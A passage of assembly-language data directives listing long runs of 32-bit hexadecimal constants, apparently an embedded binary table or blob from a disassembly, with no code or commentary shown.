56FA428Fh, 90E1F11Fh, 9AD33B6Dh, 281980DEh dd 5A4E3E2h, 2ADD73Ch, 3D3BB10Dh, 1694B86Eh, 0CA9A77F6h dd 26602E2Dh, 2C6EA89h, 9078530h, 98585645h, 0ECD0001Ah dd 0B3DC9A5Fh, 108084Bh, 116A19Dh, 2C6CBF51h, 505FC045h dd 0FF20524Bh, 16CA4Ah, 56E6CFB4h, 0AD22A8A7h, 0E30A9F01h dd 5F929B0Ch, 1273546Ch, 4C18FD8Dh, 0B0A57B16h, 700FE6E0h dd 9371E4FCh, 724BA720h, 0AE6A0FBFh, 0A1A00C21h, 0E885F53Fh dd 0A012087Ch, 61A9E789h, 0B8C58D2Dh, 72215C01h, 2D6E8A4Dh dd 844C38BDh, 0B0DBC38Bh, 871C08C0h, 0B52A898Ah, 6A9CC035h dd 9F35D72Fh, 69A56183h, 65F1B40Dh, 0E199801h, 57D82B00h dd 96516031h, 7193E19Dh, 0EE3D0061h, 6B8C7B9Fh, 57509314h dd 81045BD1h, 92E2310Fh, 9ECBB207h, 0E61B202Eh, 0F707182Ah dd 14D9EECDh, 8543E70h, 0C25F4AEBh, 375B9321h, 50EA5BA5h dd 19E2663Dh, 43054909h, 75E20237h, 80EDD306h, 218EF681h dd 0B049296Ch, 0CFC53EF6h, 219D18C8h, 0DE321E95h, 0BD7DD2F9h dd 467C84FEh, 0DEC6001Ah, 0AA46FD5Ah, 0BD0B12B7h, 55DFB1F9h dd 0E27EB630h, 3CF1F76Fh, 793D46A5h, 31392F2Bh, 0B5D82733h dd 0B78C0CFDh, 0CC096DB5h, 46DC82B4h, 7C474AB6h, 0DA00DCAEh dd 136998Bh, 9A0F118Dh, 5FFC2404h, 8BAEBC4Fh, 0CF5E4978h dd 7CD90640h, 7ED1091Dh, 5C0B1829h, 38B3B37h, 706E7B58h dd 10183F7h, 0C60D59DBh, 0EC2C2869h, 0E475EF80h, 0B3B88131h dd 0E120517h, 9E22E21Ch, 92C91D1h, 0A9E98D09h, 9B5E4B5h dd 3019BD89h, 0FE2C16F9h, 4A469D60h, 0B43900ECh, 636E35C8h dd 615A1CE2h, 0EFFEC149h, 34B60B4h, 40B625B5h, 5BAD8927h dd 0CD9B70C1h, 5631CAC9h, 478AE4ABh, 2E4B533h, 0EC2A75BEh dd 5397807Ch, 65C870B3h, 0ECF54C01h, 375B2512h, 0C9300F6h dd 0F56A74ABh, 0BEA950CAh, 76D68181h, 0C12A4F2Bh, 458C0F96h dd 0F95B822Dh, 291766D3h, 0DC05B77Eh, 2E97AB1h, 49BD0323h dd 8B0983FEh, 88CD37C0h, 341F93F9h, 9D772AEDh, 0CC29EA60h dd 0A9230932h, 818621C4h, 87B0FF01h, 59BD2095h, 97196555h dd 570112B7h, 23ABB93Ah, 308DAA30h, 0BDD717B1h, 0A2972159h dd 9216759Eh, 5015DB77h, 1D0B6C40h, 25267C1h, 523F191h dd 0C9BDA35Fh, 0D8DEFB42h, 3416841Fh, 0BA8DA39Ah, 91025463h dd 78F00116h, 80865AE0h, 0AAE69B00h, 0A85A3BD7h, 981787Fh dd 5783496Bh, 155923FBh, 8C044118h, 29599509h, 1DBC64A9h dd 8074BC8Ch, 819FCA6Dh, 564813E9h, 2F151014h, 0C9E15E25h dd 0A1592090h, 5F290A40h, 2501AA9Dh, 31EE8060h, 40C17360h dd 29986107h, 23DD897Bh, 37A5247Fh, 8DD2579Eh, 61583691h dd 36B88A3Dh, 0A54AE90Bh, 71855BC4h, 0D13BF8C1h, 0F46EEC12h dd 1203BFCh, 449D53FEh, 89B004Ah, 837C7798h, 5F725E74h dd 55216E90h, 12C9024h, 27EF8166h, 852129ACh, 0C450E59Dh dd 95144195h, 2D3AFC57h, 1E8EB733h, 0E46026Dh, 0F373CD8Bh dd 48B7803Bh, 9D3112B4h, 0C6085525h, 0D0D6E102h, 0BB9377Fh dd 0A11BA995h, 10DDFE1Ah, 0C87198A1h, 0C17C00FDh, 9FB2FA50h dd 0F703B539h, 11BD3660h, 0FE5A344Bh, 4A88C64Ah, 0F83823E8h dd 7EDBCEFFh, 6F606B85h, 0F5A0018Ch, 98BF7080h, 7C81FA28h dd 0F8A5C5E1h, 0A00EBF3h, 0C820467h, 9746288h, 0B92DFF03h dd 0B9B4D863h, 266B807h, 9D8BF117h, 21022C69h, 9726728Dh dd 0E1C0FACDh, 166AFB5h, 899264BBh, 430EA99Dh, 12A4B92Eh dd 4E00CBA2h, 70E7DF51h, 9E03E33Ch, 80B1E2B6h, 0FD06920Fh dd 5A8A5973h, 50A8528Bh, 13096520h, 1601E183h, 6F82249Fh dd 149351E5h, 0B897A955h, 8C0500F8h, 33970127h, 0C5647046h dd 564B08D2h, 29753902h, 5E4D5B05h, 0DB2E202Ah, 6FBC05Eh dd 18B2FE1h, 18DEB9Ch, 0C8C9BFBDh, 610B4432h, 0DAB52960h dd 3020A647h, 170BA66h, 17528195h, 83412AD8h, 0E6DC01BEh dd 1947C886h, 0ACF4091Bh, 867CB210h, 0D4D596h, 72F442ADh dd 78A99F22h, 0A49B9329h, 17FC3D90h, 0B9E00B8Ch, 69E4DC31h dd 8FCC7400h, 867521E9h, 32570479h, 0E05D858Bh, 80135EE3h dd 0A50337F4h, 0FD0459CFh, 0DF537D4Bh, 0F84C5B64h, 59B509F2h dd 4E5D391Ah, 18BD5FC2h, 0A08CFF0Fh, 6434DED8h, 8BFC2624h dd 3B2D10F2h, 311EB50Fh, 0E58397A8h, 35881885h, 7D001CBEh dd 1ADB6C56h, 7FCA28B1h, 0E81966CCh, 5F48CB55h, 3B895A23h dd 9869BD8h, 19D812B7h, 0B55349BAh, 0EEC80751h, 0D2BB0437h dd 841CA6B2h, 6D53BB20h, 36E1CFE6h, 0E1468B0Eh, 0D03A7B0Bh dd 0E41539BCh, 2F488B85h, 0A9A1A0E9h, 0AA0B8Ch, 0A8D2A15Ah dd 1D149AA7h, 2D54B90Ah, 3B64F11Fh, 216233Fh, 0F98EDC67h dd 346F380h, 0A699379Dh, 51456389h, 8D016BBDh, 0D2585FD1h dd 3666849Ah, 0D964D700h, 3370C4F2h, 90AF3849h, 4B56720Ch dd 0ED15E430h, 5E63C68Bh, 0A6C311FAh, 3E1727BCh, 0A804924Fh dd 2B142469h, 0E099E64Ah, 3F7E443h, 0C58D67F9h, 0F5D96E19h dd 7E46235Ah, 0A9950090h, 69867A9Fh, 26421635h, 7097FBFDh dd 0F402BE5Dh, 75D697CEh, 8033A18Bh, 4A6381EBh, 0A17DB6D2h dd 56548B01h, 1775ABC1h, 5221E37h, 0A0E2E0C2h, 7CAA895Dh dd 5F2EDC6Ch, 0F028EF3h, 0E11959FFh, 8A2CBDD7h, 0DD85C712h dd 0BBA97F5Ah, 30093FB8h, 4A799509h, 0DCEB76C0h, 0C1E35505h dd 0E0A8636Dh, 2E04E8Eh, 766111B3h, 6AEFB400h, 1037EBBEh dd 0F5B51009h, 70B7930h, 92E99D61h, 704A5332h, 4F07B501h dd 342A6AA3h, 0D1ACB793h, 1B3C459Dh, 9BBC454Dh, 0C8AAE114h dd 18510FAh, 0E9C18B05h, 987E275h, 0E1A8D88Ch, 6A113559h dd 79AD7F01h, 1E450B96h, 653168FDh, 0FE53C018h, 680CEFC1h dd 20043CC6h, 7A02E4B0h, 50D5F57h, 595FFE8h, 0FE32E91Ah dd 0DFC1E5B2h, 1A9C530h, 3F4E2F11h, 0E225072h, 310CBAA5h dd 57C6A50h, 126EA056h, 0C1C3610Eh, 0B160A0E0h, 9EC08BB8h dd 0D0E640BEh, 0DB251458h, 4124D0E2h, 99EC7B2Eh, 56BF38ECh dd 3842F6FAh, 0E0B0E6F5h, 13B6660Dh, 0F536C0BAh, 192360AFh dd 38B1240h, 0BCB2BFCFh, 0D24E2C0Ah, 0CCE44FF6h, 0F12A01Ch dd 0ACC8C8BFh, 0DD760068h, 886F599Dh, 9E0A6ACFh, 0B946E6BFh dd 0E8D85302h, 579AEA1Ah, 0F286AF9Ah, 8F81A951h, 3D5FE681h dd 233900CFh, 40DD8B7Eh, 80176103h, 0C2E870C9h, 635BFD09h dd 4AFF5E78h, 0F6E6C3DEh, 50A5A625h, 0DC729E19h, 46D4D124h dd 2F220108h, 122EC810h, 15BC6900h, 0FE74EFDEh, 0F62900A4h dd 0E86BC3B2h, 5E940979h, 3A710CF4h, 4D7C0F13h, 77BA3052h dd 8F8D5992h, 0AB58BEE3h, 5EC1F831h, 656D0D94h, 2DAB24E8h dd 266BB840h, 0A6D0279h, 1D542565h, 0F698A649h, 259B150Bh dd 43C4D9h, 78578F9Ah, 0DFD10C81h, 59436703h, 886011A5h dd 258B5B56h, 0FE7A299Dh, 2AB9AAA1h, 0B2E82A43h, 8CBD8408h dd 90BF3FBCh, 8E8A20h, 0B25C3D75h, 95312EC1h, 5F6BAD66h dd 0B8D20FCh, 0D9BF660Ch, 4199143Fh, 0FFC64003h, 85B6AE8h dd 6000E87Ah, 0B58B40F5h, 0BAA61BADh, 0CBB72D4Eh, 0D3FD29A0h dd 0CD80E61Eh, 819E845h, 80A5EBE7h, 302DBD76h, 5DAA1083h dd 4DB89D21h, 147EC1Dh dd 8D055BBCh, 2E52DCEBh, 5177088h, 87C7D0FBh, 3B6FF5E8h dd 0DF05A06Eh, 0E833BCh, 5293412Dh, 90B724E4h, 1130D33h dd 0DDC13388h, 400C868Eh, 23B595DCh, 0DCD75A0h, 79D98493h dd 0FEC8ACF4h, 0EDE11CDEh, 4CE80D0Ch, 6DB6BDBh, 5DC0E780h dd 82496DA6h, 422224Dh, 1DE8FBB7h, 8C7AAE07h, 3858037Dh dd 0FB874C1h, 899D6025h, 8064B70Eh, 85F8E9E4h, 109597FDh dd 7A55FA7Bh, 0B1670215h, 75D18293h, 10413241h, 0E7BD3351h dd 985E9634h, 0EB62F700h, 3E1D4513h, 1F1423A2h, 0F1E10749h dd 0FA0C25B1h, 824804F2h, 0C6E8944Bh, 3C9B1900h, 3EE53578h dd 885F8D0Fh, 0DE27295Ah, 0F9C453h, 75697D81h, 24650D3Eh dd 4850DF07h, 2D52D7AEh, 0DAC14288h, 595E2794h, 0D5AF0459h dd 8A025392h, 0BD7F1BD1h, 98E90311h, 0D7E85D9Eh, 66F61BC5h dd 7F0432B0h, 5F4E83Bh, 1588C58Fh, 0CAAECCCFh, 43074BDDh dd 8454C6FDh, 34D9B82Ch, 15E37A5h, 0E848402Eh, 0FA38AA3h dd 10273F87h, 3941060Ch, 0D2800169h, 0BE322908h, 0CD1DA0E3h dd 88731071h, 0A69F4BB5h, 0CB75E039h, 5FE8282Bh, 888A7544h dd 53189DBFh, 0FD68121Ah, 2FCFB502h, 0F9395B40h, 9C711401h dd 0D910ABC9h, 8D230B0Ah, 0CDEC6B45h, 0CFB74406h, 18DD2078h dd 0A69334D7h, 35E984B0h, 56127BB8h, 48F16AA2h, 95C29A1Bh dd 7402FC1h, 490587E1h, 1ED98D89h, 7BDD29AFh, 0E4099A6Ah dd 0AEDE52DBh, 0FA21444Bh, 938C0011h, 0B21D4FCFh, 59602DB8h dd 0FD05DE86h, 0C8C35A8Bh, 58037DE9h, 0FC42653Bh, 5A2E98EFh dd 6389972Dh, 0E3704EFBh, 0FE4100F5h, 86D014EFh, 4FA82E6Eh dd 0F5F8F289h, 80DECC01h, 8B515883h, 8906892Eh, 0EDE2F7AAh dd 0DA05C0D2h, 8A00CC01h, 97C8541h, 77DF181h, 2B55622Ch dd 0AFECD5D8h, 0E4B9E700h, 3503A9FBh, 712310Fh, 0FA6D7764h dd 0DD5A2509h, 0A8EC0283h, 50932BF7h, 2F92758h, 0A9FD0FB7h dd 55F7DEEh, 0BDD5E5B4h, 17AC5BFDh, 6FBC048Ch, 8260A855h dd 905DD08Ch, 154BA7h, 82CBA693h, 90A0F0D9h, 2348AB00h dd 859C0DFFh, 61C612A9h, 85409B5Bh, 900E841h, 0CD76D8A9h dd 0BB680FF7h, 0A2A0911Ah, 0B8E48B0h, 0DF577C05h, 4D82FAADh dd 0F08B2002h, 952F8D59h, 895782F1h, 0DC5D561Ah, 68D0960Eh dd 738A83DAh, 0E604DA89h, 0AEFA008Ah, 0ADD52B31h, 854A1D88h dd 0C0657C2h, 0E403582h, 26B91A66h, 187B8A21h, 70618A70h dd 87C56BB9h, 0D6C270CDh, 0C1716087h, 152A008h, 6F6F9530h dd 88A67E40h, 0C8B14B4Ch, 94389387h, 0B3280626h, 93F699B7h dd 5BFF784Eh, 3141FE02h, 0F589A874h, 15F0808Eh, 5B863EB1h dd 3A80A6DBh, 1DD1FA39h, 8C0FD417h, 0DD0035CAh, 0AA6492C2h dd 0B1002B3Dh, 3E5FB06Fh, 157BAB7h, 23C121FDh, 0A71B5h dd 3FA1BF5Eh, 0ADD0DDDBh, 5DF2F5ADh, 93800937h, 3C45905Ah dd 401CB4E6h, 0B4C6AEC9h, 27BCBF24h, 123E7BF6h, 4FDCC82h dd 11130507h, 0DC9B4EA7h, 82DD2D80h, 43090C2Bh, 829560ECh dd 55CEBF1Dh, 0A013F84h, 29128C61h, 1AF6C385h, 8F7FECE0h dd 2D096277h, 396E90Ah, 3909F9BBh, 950A1AC5h, 6B6A2959h dd 0E8513ADBh, 33DAE8Bh, 3DD0555Bh, 31FC0974h, 0DCDEA195h dd 3D9B1A92h, 9C0A7E80h, 2009B538h, 851F97DDh, 8C6E82Ch dd 0E0E1ADE6h, 1FBEB602h, 0C1EE8DF9h, 0BA2AA710h, 7CB2015Ah dd 7D01DCCFh, 86C0EAD8h, 0D13A9ADEh, 38818DB4h, 0BF57011Bh dd 72848E5Eh, 0BDC6A8B5h, 0BCFBCB0h, 554E2349h, 0CE106CC3h dd 0BF0E2921h, 63492AD0h, 1339D802h, 0A4D46C89h, 187CEE6h dd 79DF0CBEh, 42A8E917h, 52598610h, 0FBD1BF0Fh, 0AC8BE3AEh dd 852C857h, 3BB9AA01h, 0FB78C1D4h, 0C28F303Eh, 0E96A463Ah dd 3111573Eh, 5EB7BF7Eh, 6AD1DB85h, 296FAAh, 0D7179C77h dd 2EAE829Eh, 921ADC9h, 1AF62BE1h, 40E9AEECh, 8103C319h dd 0AAAC7D6h, 9F88DC02h, 6DDB0035h, 4DB0EDA5h, 0FC00B650h dd 0F0FDF483h, 75AD4C44h, 8AE01699h, 0E0D0A6C5h, 1E5F46Bh dd 6118E456h, 6A800F3Fh, 3206828h, 0E862B4CBh, 0F5881C4Fh dd 0B79DC08Bh, 0A6A10282h, 0C2741E39h, 28067D08h, 9E5D7B66h dd 0EE18B81h, 0FDCBE3CFh, 38447C6Dh, 0B07D462Fh, 9509F13h dd 820FC688h, 0EF24A371h, 611CDE1Dh, 8D3B549h, 0C0168F9Fh dd 0F6D29BBDh, 9073A069h, 33A91E8h, 0F6804BABh, 285F6D99h dd 79F92F9Dh, 2F49802Ch, 160F0AA3h, 76E8A734h, 0C200776Bh dd 0BC1D975h, 4A07A8BBh, 0F6BF5562h, 13AF9805h, 0E08EF684h dd 1CAC3F82h, 0ED1FF4F5h, 100D1884h, 30DC1F97h, 0C0830B3Bh dd 0C0A04D05h, 1C5958FBh, 998D2913h, 0CB4C08F5h, 0BC9D00FEh dd 337D53C9h, 7375DD24h, 0F2381300h, 951C566Dh, 60030B4Fh dd 0AF099D31h, 5022D9AEh, 4F4FC8Ah, 2573725h, 0CE6FEF9Fh dd 56A881C0h, 22BC214Ch, 41829705h, 8864686Bh, 2523D923h dd 8D406E4Dh, 21FA2DDh, 0E7669CD8h, 0DBFC09C1h, 25DB8060h dd 537EE38Dh, 81D99BD4h, 0D1FF5140h, 0FCB8EF6Dh, 776FCE00h dd 0C82B6ECDh, 0E83A09BBh, 0BEF6268Fh, 0AE4A0210h, 849843DCh dd 510C8D2Fh, 9D29412Eh, 3A5C72E9h, 0F95BF802h, 0BCA84E16h dd 4AD1F180h, 0A008B3Dh, 0A0866A07h, 25986956h, 0A638F1Eh dd 905B4501h, 0DEC1ABFh, 0FBB2B044h, 0E281F601h, 0D4FC7C02h dd 0AE480CA8h, 0A96E5ADFh, 0D060027Bh, 38F88672h, 0FC2DD884h dd 0DABA4AE6h, 86E6C03Dh, 2FDB914h, 0E9A510A3h, 77FE0DAFh dd 8230E658h, 27DC775Ch, 4AE2898Bh, 26F43AD4h, 13A2EB2Ah dd 3D090EDAh, 0C0D71E4Ah, 0CB507820h, 70260401h, 6961DAE5h dd 2DCD5EC8h, 0F5E489CFh, 0F7815F00h, 8A4F0DAh, 12BB7F50h dd 531ADF23h, 0E04BA6E2h, 2F80D4F7h, 98FF3BCFh, 9F840FC1h dd 80F91420h, 0FEBF27E3h, 0DEAA687Ch, 3CA9C64Ah, 8C1DACh dd 123A3627h, 0D770E89Dh, 0E9A7010Ch, 22B2507h, 245FF62Ch dd 0E9E03A49h, 6A2FD870h, 1CB390FFh, 0E00A4A5Fh, 2197B59Dh dd 7DD78003h, 80B086Eh, 121E904h, 5BD60DA4h, 0B06DC3BAh dd 7CD38180h, 26421E13h, 950876A8h, 0B54A32ADh, 935E2511h dd 8148FA8Bh, 2F711004h, 0C8B6037Ch, 2599D33h, 0CB40774Eh dd 15BA2DF1h, 5B8B00ACh, 0C95E453Ah, 0F402E17Dh, 5F12DCABh dd 2416D960h, 94C301BAh, 25C18B38h, 50D63C3Ch, 0D7D37925h dd 8529A1C0h, 24E19601h, 8D12453h, 8B011935h, 2E9F9D1h dd 0FD8A599Dh, 0BEA48527h, 0DFABB857h, 7519D44h, 770E5F0Bh dd 0BD9501C2h, 12D6C950h, 0DB01C8F3h, 0C6A62466h, 57D8F47Ch dd 8D970B02h, 84D03B75h, 88561D94h, 0D900540Ch, 0F5C6842h dd 281686C8h, 29E4B798h, 97AB4FE9h, 0F3DC5379h, 348A40CFh dd 30F6A009h, 2A55DAF9h, 551C3384h, 0A5FDC70Dh, 0E8FE1C41h dd 0E69C5A40h, 3F3A00D5h, 737795D4h, 0B628F09Fh, 0DB3DBA5Ch dd 895B9672h, 68605089h, 0E7109DDFh, 0A425B58Dh, 0E86D55C3h dd 798FDCE0h, 0B26B64DEh, 79F1F5DDh, 5E5BC4Ch, 0BDB58985h dd 0C288BD10h, 5516820Fh, 0F5C1F35Ch, 0ECC0CA84h, 521D00AFh dd 5A99179Eh, 12F25BBEh, 0F6812051h, 0C9B9FCA7h, 0BD29CB22h dd 0C063A8FDh, 49F8FC13h, 7320098Fh, 0A2F699CBh, 6C7ECA0Ah dd 0EB00AB43h, 0FC5F82F5h, 0F4855A09h, 0C0092B83h, 41619D0Bh dd 0CA7ABAD7h, 0B2DF000Eh, 1F702072h, 0AE430286h, 0E780FB18h dd 33AD3160h, 98D1C228h dd 0E983D002h, 46F47504h, 1CB3E8BCh, 80FA53B0h, 4D5F5564h dd 0AD3EE515h, 0A44E0518h, 3FB686F9h, 0CD5DD1E0h, 9AC44C05h dd 3CFC8B13h, 58880D84h, 0B48C7FEh, 29958B58h, 0CB4F22Ah dd 8D0D1101h, 2897654Ah, 0D350F9D3h, 318E0C2h, 0FA08DEC1h dd 5819E76Ch, 21C443D6h, 0FBE5FEB6h, 0C0E1C832h, 0B9041590h dd 17690868h, 0A4912026h, 0C5E97666h, 37D7B852h, 0B08FA29h dd 79FC890Fh, 65B54D65h, 0B54CD3C4h, 2A41704Fh, 0F07BEB33h dd 6139053h, 4530B8F8h, 6AEAFAh, 1C25F42Bh, 0D2A429F2h dd 90E7ED25h, 0B661E54h, 91AE9AC1h, 4AA80779h, 5F8025F2h dd 6EE14EFFh, 2DA0ED3h, 0C2260FC4h, 0F416FF66h, 0B509618Fh dd 4071C271h, 0C4B11314h, 0FB4A0492h, 801440Fh, 0DC63AE9Eh dd 58628400h, 16EEE0D6h, 4604C70h, 0FCBE15C0h, 5000234Bh dd 0A97FF60Ch, 3CAD2C18h, 0CE26DDF9h, 5EF66BDDh, 6275E580h dd 26F6F05Fh, 4260B533h, 1B60615Bh, 73AC2D4Dh, 0CF1A034Fh dd 0C317EDC9h, 5BF8E14Dh, 0F5723EADh, 0BD845DB3h, 0BF000E6Dh dd 242153CFh, 746E604Ah, 0A04C6903h, 30B2F1DCh, 2A2EED49h dd 1BB0A88h, 77B1818Dh, 6F04E180h, 0AC92BADBh, 0BD89A010h dd 28E5B24Dh, 78FEC90Ah, 0D9D3BB32h, 7D6325h, 27843010h dd 1BE4B49h, 86400CDAh, 3F5F445Eh, 0BB9488h, 34A6B2EBh dd 0F17A48Ch, 0CC5C5D79h, 9D45311Bh, 31DC33F8h, 0D8FEBB2Ah dd 0CE0087A0h, 7282FAC0h, 98C58550h, 13012043h, 8B609009h dd 0D88A81CBh, 0DD705061h, 0B3527DA8h, 2BF07BBBh, 0BF506FC6h dd 851C5B4h, 3D55205Fh, 0FA682C40h, 0EACA040Dh, 0AC515250h dd 55BCA0Fh, 24048100h, 254F63Ah, 0A329BF15h, 0BDC11E82h dd 7AFA2A35h, 1F5C002Dh, 0BEE0C6D2h, 3F1A1381h, 0AD8EA0F9h dd 8BDB1E4Bh, 0D577E7C0h, 0C20266D1h, 0E9F7C10Dh, 3B8952BFh dd 0EDA8D381h, 68916BF2h, 0A78605Bh, 0EADF059Eh, 472709Dh dd 29B1ACh, 7E38057h, 0A4C7705Bh, 0F9DAD6CDh, 0B58B0D93h dd 6E3A7F95h, 0A0970B95h, 39530431h, 8516F7EDh, 0F068A529h dd 0DC70C09h, 32A989D9h, 9737776Bh, 0FA8B6901h, 8AF44689h dd 7DB713D8h, 50E40E96h, 0E0E1E697h, 190F86A3h, 0B6D52852h dd 0FF02C62Dh, 0E5D093B5h, 680101F2h, 0A22C45FCh, 4E48EEB7h dd 0F227BE03h, 705B5B5Dh, 0C71D3593h, 0F2CFC812h, 0C40E52E6h dd 5DEC52DEh, 4B1A8D89h, 3302B366h, 0B9C5ED78h, 0F298FD6Ch dd 0C91F5D75h, 0D10354F2h, 2A67A53Fh, 16CF61C4h, 0B9905F5Bh dd 0C58E2FAAh, 54BFA8D6h, 842B57h, 1819A7BDh, 6975D27Ch dd 4A283D35h, 0F6C312ABh, 7211E0C5h, 4D9CC9DDh, 0A23BDA5Dh dd 60B7CFEBh, 166DEBAh, 757BA009h, 85668452h, 54618782h dd 0F97CDC5Dh, 5BEB8000h, 26E2AABFh, 85C72C0Fh, 892F6CB9h dd 42618D2Eh, 94A85192h, 1F297510h, 5F96D58Ah, 96E5D510h dd 112F484Eh, 43E9D80Eh, 0E8B5FD16h, 5EDC0297h, 457ED5C2h dd 0D71BE60h, 5C305080h, 4439460Ch, 0E8C1018Bh, 20E530Ch dd 3FC4CE0h, 0ED43584Ah, 7736EBE7h, 0E648136h, 1B8C857Bh dd 0D0282950h, 58331821h, 57420113h, 0C080401Bh, 59BD2B09h dd 0C034541Dh, 0A6A9A5A1h, 0BAD33100h, 0FDB7A77Bh, 201C90C1h dd 5B5C0EF5h, 0B85A182h, 0FEBA2C14h, 95EACAAh, 7D4F09DCh dd 0B8601657h, 17981B88h, 0BF0F3180h, 13B7DF4Ch, 12960C6Dh dd 600CC0F6h, 911AF281h, 1990C87Fh, 0B22E4920h, 0DDA99DE9h dd 62D1D10Fh, 412C118h, 5B1CEAC7h, 0DE507CA5h, 123DF3Fh dd 5DB30E3Eh, 202E50E7h, 59B099F4h, 14008CFEh, 949A277Fh dd 38CB4AEFh, 48F51996h, 340FC0F5h, 0F06A8024h, 1A534B7Dh dd 7830E171h, 0C993A0D9h, 177821Bh, 228EEBA2h, 8067854Dh dd 282A56A0h, 67B69D18h, 0B0CD2E32h, 0D252047h, 0B5BD3317h dd 4A86D0B4h, 41F188C4h, 2A2C1F41h, 0E0EEE6D3h, 7C83B6FBh dd 0FFB7B5C2h, 0ED72933Dh, 8050E7F3h, 48025F65h, 0CA810870h dd 36C690C5h, 0F264B693h, 0DB3E006Ah, 0B839E81Ch, 1BAF009Ah dd 0DCF92AE1h, 914833D8h, 20500E42h, 0AB69EEBBh, 0C73D0267h dd 76BF8BC0h, 690ADCF6h, 0AD94B3EBh, 6F2DB81Ch, 4DC842CFh dd 0FA261C7Eh, 15713D2Bh, 0B5399218h, 9A791EBFh, 0B5B23A2Fh dd 0D5B580ADh, 3893A797h, 8BBE7209h, 899DF8F9h, 9D2550D2h dd 91950889h, 65A37E5Eh, 40E36D2Dh, 97264592h, 0BB66510Eh dd 55569B15h, 6E7EA864h, 0FEC70025h, 0AA7D4815h, 29B1045Ch dd 120989BDh, 0C81AA04h, 0D6D5EDABh, 9E8FFADBh, 0C12EA8D3h dd 8ED8529h, 0D67E9603h, 79C3874Ah, 0D2B6CCFEh, 0ABE1E4E2h dd 465C6CC5h, 0A1B314BCh, 0BD51F99h, 0DEB9DEA5h, 670C8AE6h dd 6AE6BC84h, 0FA2E4AB5h, 0F32A8BCDh, 4A7C145Eh, 6AEEA4FEh dd 93120938h, 79D15DF5h, 10CFF814h, 22007A5h, 0B0535844h dd 1EDD203Ah, 16845B4Ch, 57F73031h, 5BCA41A0h, 0F960DB1Ch dd 810F6145h, 0C62D83F2h, 634287CFh, 0D5B4E1D3h, 97702E78h dd 0FD8D17Bh, 202B906Bh, 0E90E0E41h, 32FFF38Ch, 0A31D204h dd 1AE0CDABh, 0AC5AC0FEh, 5C51FB46h, 0F7090DE2h, 179EB39h dd 220299A6h, 77F88B50h, 8D9D26A2h, 48B38A5Ah, 6E95C0D2h dd 0DB8017D4h, 4B7FEC71h, 36E9A3D5h, 35345CBCh, 19C3C8EAh dd 8CC81220h, 4ECEE640h, 768B25DAh, 540019C4h, 0D4350E68h dd 723E5EBh, 3E478F0Ah, 600590EFh, 6E4B1634h, 5090A7C0h dd 0C39DA352h, 8986D231h, 0DA09053Ch, 0C84F25ACh, 0EC003949h dd 0CE11F616h, 5CDBE6EAh, 0D902BE90h, 3FDD6C33h, 16078457h dd 0EE0D8412h, 0C90F786Eh, 7BEECE23h, 2A445FEDh, 30B462E6h dd 570C5F2Ah, 0E4F7EF2Fh, 5A78003Dh, 0FD432BD7h, 0C6973BF5h dd 9DA44B3Eh, 1C6A3BE0h, 0FDDF5216h, 260896Dh, 11D8998h dd 0E4D1FF61h, 164B759Dh, 0A15EC78Eh, 80A51ED0h, 0B940C57Ah dd 8D0F2751h, 0D9858C59h, 0DAE1026Ah, 2D188D6Fh, 0E285A8B7h dd 4D3102F8h, 2790CC47h, 0D325FCC5h, 0CC865167h, 51000289h dd 0D3D977CBh, 972EE982h, 9648B01Ch, 339B5AA3h, 4B50F8C0h dd 1A977037h, 8126358Eh, 0CC923AB6h, 23AC41EDh, 2D926F9Dh dd 403DDC90h, 27525CDDh, 0ADAC370Eh, 456F6079h, 641871h dd 0A35E1FB8h, 0F88A9AEBh, 60505F09h, 0A0D157E8h, 0BF0B950h dd 8B0F5A77h, 296EE8DEh, 0C0104D90h, 503B1F7Bh, 24067B97h dd 7BFA2DC0h, 99357F95h, 69B2B0A5h, 0AAD01FC8h, 0E29FD291h dd 0AABD92F0h, 40162CA8h, 4405B1E6h, 70EE2605h, 8EBF66BBh dd 8B6AEC3Dh, 84B3C780h, 22AAA51Bh, 0C15CFB2Eh, 89413DC4h dd 7A07A1B5h, 6C5DC50h, 70E6F599h, 53FA5C38h, 17021510h dd 0F58D71E4h, 10E13E88h, 0BD095526h, 9ACD712Dh, 9D7670Ah dd 4CA5869h, 0AC862CBBh, 0D7B1B80Ch, 8AC18502h, 28AE5CFEh dd 53AD4437h, 742EE2C2h, 27B45C5Bh, 0E81C13F0h, 1A42B509h dd 7FC82B61h, 4BE80113h, 3900D52Fh, 910E2CA3h, 1936BA0h dd 647E7BCh, 7F0F4575h, 0E862E423h, 1778D424h, 0B5FFE8Bh dd 0D5F8D17Ch, 5A600B40h, 8AD20FCh, 9D00AEEEh, 0E181802Ch dd 9949EA1h, 0E9615A6Dh, 7588E271h, 2DA42C29h, 0E75672CAh dd 95C311Eh, 0C11E3h, 4E7A5DACh, 493718Eh, 3402EA42h, 0AA0184C8h dd 0ECB46052h, 1C298B11h, 4C1AF145h, 13DE5717h, 687E7E49h dd 3F488036h, 0C2D4A6D2h, 8A792302h, 5C62C5CCh, 232644EAh dd 85A5DAD9h dd 7AE8FE22h, 0BD09FB48h, 54E4035Dh, 80227683h, 98F94B01h dd 0CD4110DDh, 0B6007F72h, 0C53CD26Dh, 0A538CE12h, 29F74E6Ah dd 812CDA5Eh, 0AD58DF9Ch, 2EC9C841h, 0A042B902h, 1019D311h dd 12A4D381h, 0E17C1E76h, 0F03526AAh, 9826738h, 0B82DB7FCh dd 69100D9h, 9E499940h, 2DBA1CDAh, 8CD8295Bh, 8F1F4B28h dd 0D5E065C1h, 80DFC755h, 5855C381h, 6E034A0Ah, 1150069h dd 0E5AE6675h, 409D4F31h, 0EBCF8136h, 614B6F3Eh, 9139C089h dd 416BD6h, 9991199Eh, 2583C90Ch, 0D9C620B3h, 179C8495h dd 0E0DCB212h, 9708E5BDh, 6D4EB41Ch, 0D9B032B7h, 1907074Fh dd 0B8C0F380h, 807A730Bh, 0ED6B9AECh, 23008F26h, 0E64E0274h dd 9148B27h, 5EEEF8ACh, 5BAFD573h, 0D04A5141h, 800C1345h dd 0F4E1FFEEh, 8E0E4B21h, 90B5227Dh, 2A912B4Dh, 78011013h dd 512A568Ah, 9C360D7Ah, 871EE0B0h, 96FA6C04h, 6EAE60EAh dd 51D4010Dh, 90CE5725h, 3871A32Bh, 465F9208h, 39301BE1h dd 190297FBh, 59605160h, 58801A0Dh, 61F7258Ah, 0DBDFB69h dd 0B2A8F77Dh, 13B5BD00h, 77F34130h, 743A9571h, 5B4084EDh dd 4B221DBFh, 0E0C2AC10h, 0C8BA6Eh, 49594F4Bh, 0B52FAB45h dd 23EA0D09h, 8B1871E1h, 0F4E2FA8Bh, 86D9837Dh, 